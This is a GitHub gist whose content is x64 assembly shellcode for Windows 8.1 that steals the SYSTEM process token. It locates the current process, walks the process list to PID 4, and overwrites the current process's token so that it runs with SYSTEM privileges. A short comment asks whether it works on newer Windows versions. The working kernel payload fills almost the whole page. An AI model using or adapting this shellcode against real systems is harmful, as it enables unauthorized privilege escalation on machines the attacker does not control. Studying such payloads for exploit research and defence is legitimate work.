Skip to content

Instantly share code, notes, and snippets.

@hugsy
Last active March 5, 2021 16:31
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save hugsy/763ec9e579796c35411a5929ae2aca27 to your computer and use it in GitHub Desktop.
Save hugsy/763ec9e579796c35411a5929ae2aca27 to your computer and use it in GitHub Desktop.
Token stealing shellcode for Windows 8.1 x64
;;
;; Token stealing shellcode for Windows 8.1 x64
;;
;; Save the current context on the stack
push rax
push rbx
push rcx
;; Get the current process
mov rax, gs:0x188
mov rax, [rax+0xb8]
;; Loop looking for System PID
mov rbx, rax
mov rbx, [rbx+0x2e8]
sub rbx, 0x2e8
mov rcx, [rbx+0x2e0]
cmp rcx, 4
jnz -0x19
;; Token overwrite
mov rcx, [rbx + 0x348]
and cl, 0xf0
mov [rax + 0x348], rcx
;; Cleanup
pop rcx
pop rbx
pop rax
add rsp, 40
xor rax, rax
ret
@padovah4ck
Copy link

Hello hugsy!
You've done an awesome work here... Have you by any chance tested it on Win10/Server 2016 ?
thanks for all man!
cheers

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment